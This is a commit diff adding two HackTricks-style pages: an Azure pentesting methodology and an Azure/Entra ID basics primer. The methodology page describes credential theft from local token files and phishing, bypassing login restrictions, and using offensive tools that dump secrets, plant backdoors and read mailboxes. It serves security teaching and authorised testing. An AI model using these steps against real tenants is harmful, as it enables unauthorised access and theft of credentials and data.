mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 10:35:06 -07:00
Migrate to using mdbook
This commit is contained in:
@@ -0,0 +1,402 @@
|
||||
# Azure Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
{{#ref}}
|
||||
az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Pentester/Red Team Methodology
|
||||
|
||||
In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in Azure-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
|
||||
- The file **`azureProfile.json`** contains **info** about logged user.
|
||||
- **`az logout`** removes the token.
|
||||
- Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
|
||||
Use `Disconnect-AzAccount` to remove them.
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
|
||||
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
|
||||
|
||||
{{#ref}}
|
||||
az-unauthenticated-enum-and-initial-entry/
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
|
||||
## Basic Enumeration
|
||||
|
||||
> [!NOTE]
|
||||
> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside Azure check this page for tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Bypass Login Conditions
|
||||
|
||||
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
|
||||
|
||||
- **IP whitelisting** -- You need to compromise a valid IP
|
||||
- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
|
||||
- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
|
||||
- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
|
||||
|
||||
After bypassing it, you might be able to get back to your initial setup and you will still have access.
|
||||
|
||||
### Subdomain Takeover
|
||||
|
||||
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
|
||||
|
||||
### Whoami
|
||||
|
||||
> [!CAUTION]
|
||||
> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
|
||||
|
||||
One of the first things you need to know is **who you are** (in which environment you are):
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az account list
|
||||
az account tenant list # Current tenant info
|
||||
az account subscription list # Current subscription info
|
||||
az ad signed-in-user show # Current signed-in user
|
||||
az ad signed-in-user list-owned-objects # Get owned objects by current user
|
||||
az account management-group list #Not allowed by default
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```powershell
|
||||
#Get the current session state
|
||||
Get-AzureADCurrentSessionInfo
|
||||
#Get details of the current tenant
|
||||
Get-AzureADTenantDetail
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
||||
Get-AzContext
|
||||
# List all available contexts
|
||||
Get-AzContext -ListAvailable
|
||||
# Enumerate subscriptions accessible by the current user
|
||||
Get-AzSubscription
|
||||
#Get Resource group
|
||||
Get-AzResourceGroup
|
||||
# Enumerate all resources visible to the current user
|
||||
Get-AzResource
|
||||
# Enumerate all Azure RBAC role assignments
|
||||
Get-AzRoleAssignment # For all users
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
|
||||
>
|
||||
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
|
||||
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
|
||||
You can find here a guide:
|
||||
|
||||
{{#ref}}
|
||||
az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
|
||||
## App Service SCM
|
||||
|
||||
Kudu console to log in to the App Service 'container'.
|
||||
|
||||
## Webshell
|
||||
|
||||
Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
|
||||
|
||||
## Azure DevOps
|
||||
|
||||
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
|
||||
|
||||
## Debug | MitM az cli
|
||||
|
||||
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
|
||||
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
export HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
|
||||
# If this is not enough
|
||||
# Download the certificate from Burp and convert it into .pem format
|
||||
# And export the following env variable
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Automated Recon Tools
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
```powershell
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
|
||||
```powershell
|
||||
Import-Module monkey365
|
||||
Get-Help Invoke-Monkey365
|
||||
Get-Help Invoke-Monkey365 -Detailed
|
||||
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
|
||||
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
|
||||
```
|
||||
|
||||
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
|
||||
|
||||
```powershell
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
pipenv shell
|
||||
python ssbackend.pyz
|
||||
|
||||
# Start Front-end
|
||||
cd stormspotter\frontend\dist\spa\
|
||||
quasar.cmd serve -p 9091 --history
|
||||
|
||||
# Run Stormcollector
|
||||
cd stormspotter\stormcollector\
|
||||
pipenv shell
|
||||
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
|
||||
```powershell
|
||||
# You need to use the Az PowerShell and Azure AD modules:
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
|
||||
Connect-AzAccount -Credential $creds
|
||||
|
||||
Import-Module AzureAD\AzureAD.psd1
|
||||
Connect-AzureAD -Credential $creds
|
||||
|
||||
# Launch AzureHound
|
||||
. AzureHound\AzureHound.ps1
|
||||
Invoke-AzureHound -Verbose
|
||||
|
||||
# Simple queries
|
||||
## All Azure Users
|
||||
MATCH (n:AZUser) return n.name
|
||||
## All Azure Applications
|
||||
MATCH (n:AZApp) return n.objectid
|
||||
## All Azure Devices
|
||||
MATCH (n:AZDevice) return n.name
|
||||
## All Azure Groups
|
||||
MATCH (n:AZGroup) return n.name
|
||||
## All Azure Key Vaults
|
||||
MATCH (n:AZKeyVault) return n.name
|
||||
## All Azure Resource Groups
|
||||
MATCH (n:AZResourceGroup) return n.name
|
||||
## All Azure Service Principals
|
||||
MATCH (n:AZServicePrincipal) return n.objectid
|
||||
## All Azure Virtual Machines
|
||||
MATCH (n:AZVM) return n.name
|
||||
## All Principals with the ‘Contributor’ role
|
||||
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
|
||||
|
||||
# Advanced queries
|
||||
## Get Global Admins
|
||||
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
|
||||
## Owners of Azure Groups
|
||||
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
|
||||
## All Azure Users and their Groups
|
||||
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
|
||||
## Privileged Service Principals
|
||||
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
|
||||
## Owners of Azure Applications
|
||||
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
|
||||
## Paths to VMs
|
||||
MATCH p = (n)-[r]->(g: AZVM) RETURN p
|
||||
## Paths to KeyVault
|
||||
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
|
||||
## Paths to Azure Resource Group
|
||||
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
|
||||
## On-Prem users with edges to Azure
|
||||
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
|
||||
## All Azure AD Groups that are synchronized with On-Premise AD
|
||||
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
|
||||
```
|
||||
|
||||
### [Azucar](https://github.com/nccgroup/azucar)
|
||||
|
||||
```bash
|
||||
# You should use an account with at least read-permission on the assets you want to access
|
||||
git clone https://github.com/nccgroup/azucar.git
|
||||
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
|
||||
|
||||
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
|
||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
||||
|
||||
# resolve the TenantID for an specific username
|
||||
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
|
||||
```
|
||||
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
|
||||
```
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount
|
||||
ipmo C:\Path\To\Powerzure.psd1
|
||||
Get-AzureTarget
|
||||
|
||||
# Reader
|
||||
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
|
||||
|
||||
# Contributor
|
||||
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
|
||||
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
|
||||
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
|
||||
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
|
||||
|
||||
# Owner
|
||||
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
|
||||
|
||||
# Administrator
|
||||
$ Create-Backdoor, Execute-Backdoor
|
||||
```
|
||||
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
|
||||
```powershell
|
||||
|
||||
#Get-GraphTokens
|
||||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
||||
Import-Module .\GraphRunner.ps1
|
||||
Get-GraphTokens
|
||||
|
||||
#Invoke-GraphRecon
|
||||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#Invoke-DumpCAPS
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#Invoke-DumpCAPS
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||
|
||||
#Invoke-DumpApps
|
||||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
||||
Invoke-DumpApps -Tokens $tokens
|
||||
|
||||
#Get-AzureADUsers
|
||||
#Gather the full list of users from the directory.
|
||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||
|
||||
#Get-SecurityGroups
|
||||
#Create a list of security groups along with their members.
|
||||
Get-SecurityGroups -AccessToken $tokens.access_token
|
||||
|
||||
G#et-UpdatableGroups
|
||||
#Gets groups that may be able to be modified by the current user
|
||||
Get-UpdatableGroups -Tokens $tokens
|
||||
|
||||
#Get-DynamicGroups
|
||||
#Finds dynamic groups and displays membership rules
|
||||
Get-DynamicGroups -Tokens $tokens
|
||||
|
||||
#Get-SharePointSiteURLs
|
||||
#Gets a list of SharePoint site URLs visible to the current user
|
||||
Get-SharePointSiteURLs -Tokens $tokens
|
||||
|
||||
#Invoke-GraphOpenInboxFinder
|
||||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
||||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
||||
|
||||
#Get-TenantID
|
||||
#This module attempts to gather a tenant ID associated with a domain.
|
||||
Get-TenantID -Domain
|
||||
|
||||
#Invoke-GraphRunner
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,381 @@
|
||||
# Az - Basic Information
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
|
||||
|
||||
### Management Groups
|
||||
|
||||
- It can contain **other management groups or subscriptions**.
|
||||
- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
|
||||
- **10,000 management** groups can be supported in a single directory.
|
||||
- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
|
||||
- Each management group and subscription can support **only one parent**.
|
||||
- Even if several management groups can be created **there is only 1 root management group**.
|
||||
- The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
|
||||
- All subscriptions within a single management group must trust the **same Entra ID tenant.**
|
||||
|
||||
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
|
||||
|
||||
### Azure Subscriptions
|
||||
|
||||
- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
|
||||
- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
|
||||
- It **trust only one Entra ID** directory
|
||||
- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
|
||||
|
||||
### Resource Groups
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
|
||||
|
||||
All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1</a></p></figcaption></figure>
|
||||
|
||||
### Azure Resource IDs
|
||||
|
||||
Every resource in Azure has an Azure Resource ID that identifies it.
|
||||
|
||||
The format of an Azure Resource ID is as follows:
|
||||
|
||||
- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
|
||||
|
||||
For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
|
||||
|
||||
- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
|
||||
|
||||
## Azure vs Entra ID vs Azure AD Domain Services
|
||||
|
||||
### Azure
|
||||
|
||||
Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
|
||||
|
||||
### Entra ID (formerly Azure Active Directory)
|
||||
|
||||
Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
|
||||
|
||||
### Entra Domain Services (formerly Azure AD DS)
|
||||
|
||||
Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
|
||||
|
||||
## Entra ID Principals
|
||||
|
||||
### Users
|
||||
|
||||
- **New users**
|
||||
- Indicate email name and domain from selected tenant
|
||||
- Indicate Display name
|
||||
- Indicate password
|
||||
- Indicate properties (first name, job title, contact info…)
|
||||
- Default user type is “**member**”
|
||||
- **External users**
|
||||
- Indicate email to invite and display name (can be a non Microsft email)
|
||||
- Indicate properties
|
||||
- Default user type is “**Guest**”
|
||||
|
||||
### Members & Guests Default Permissions
|
||||
|
||||
You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
|
||||
|
||||
- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
|
||||
- Invite Guests (_can be turned off_)
|
||||
- Create Security groups
|
||||
- Read non-hidden Group memberships
|
||||
- Add guests to Owned groups
|
||||
- Create new application (_can be turned off_)
|
||||
- Add up to 50 devices to Azure (_can be turned off_)
|
||||
|
||||
> [!NOTE]
|
||||
> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
|
||||
|
||||
### Users Default Configurable Permissions
|
||||
|
||||
- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- Register Applications: Default **Yes**
|
||||
- Restrict non-admin users from creating tenants: Default **No**
|
||||
- Create security groups: Default **Yes**
|
||||
- Restrict access to Microsoft Entra administration portal: Default **No**
|
||||
- This doesn’t restrict API access to the portal (only web)
|
||||
- Allow users to connect work or school account with LinkedIn: Default **Yes**
|
||||
- Show keep user signed in: Default **Yes**
|
||||
- Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
|
||||
- Read other users: Default **Yes** (via Microsoft Graph)
|
||||
- **Guests**
|
||||
- **Guest user access restrictions**
|
||||
- **Guest users have the same access as members** grants all member user permissions to guest users by default.
|
||||
- **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
|
||||
- **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
|
||||
- **Guests can invite**
|
||||
- **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
|
||||
- **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
|
||||
- **Only users assigned to specific admin roles can invite guest users**
|
||||
- **No one in the organization can invite guest users including admins (most restrictive)**
|
||||
- **External user leave**: Default **True**
|
||||
- Allow external users to leave the organization
|
||||
|
||||
> [!TIP]
|
||||
> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
|
||||
|
||||
### **Groups**
|
||||
|
||||
There are **2 types of groups**:
|
||||
|
||||
- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
|
||||
- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
|
||||
- This will have an **email address** with the domain of the EntraID tenant.
|
||||
|
||||
There are **2 types of memberships**:
|
||||
|
||||
- **Assigned**: Allow to manually add specific members to a group.
|
||||
- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
|
||||
|
||||
### **Service Principals**
|
||||
|
||||
A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
|
||||
|
||||
It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
|
||||
|
||||
- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
|
||||
- If you choose certificate authentication, make sure the **application will have access over the private key**.
|
||||
|
||||
### App Registrations
|
||||
|
||||
An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
|
||||
|
||||
#### Key Components:
|
||||
|
||||
1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
|
||||
2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
|
||||
3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). 
|
||||
1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
|
||||
4. **API Permissions:** Specifies what resources or APIs the app can access.
|
||||
5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
|
||||
6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
|
||||
1. The **service principal** will get all the requested permissions it was configured with.
|
||||
|
||||
### Default Consent Permissions
|
||||
|
||||
**User consent for applications**
|
||||
|
||||
- **Do not allow user consent**
|
||||
- An administrator will be required for all apps.
|
||||
- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
|
||||
- All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
|
||||
- **Default** low impact permissions (although you need to accept to add them as low):
|
||||
- User.Read - sign in and read user profile
|
||||
- offline_access - maintain access to data that users have given it access to
|
||||
- openid - sign users in
|
||||
- profile - view user's basic profile
|
||||
- email - view user's email address
|
||||
- **Allow user consent for apps (Default)**
|
||||
- All users can consent for any app to access the organization's data.
|
||||
|
||||
**Admin consent requests**: Default **No**
|
||||
|
||||
- Users can request admin consent to apps they are unable to consent to
|
||||
- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
|
||||
- Configure also if users will receive email notifications and expiration reminders 
|
||||
|
||||
### **Managed Identity (Metadata)**
|
||||
|
||||
Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
|
||||
|
||||
There are two types of managed identities:
|
||||
|
||||
- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
|
||||
- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
|
||||
|
||||
Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
|
||||
|
||||
### Enterprise Applications
|
||||
|
||||
It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to.
|
||||
|
||||
**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities.
|
||||
|
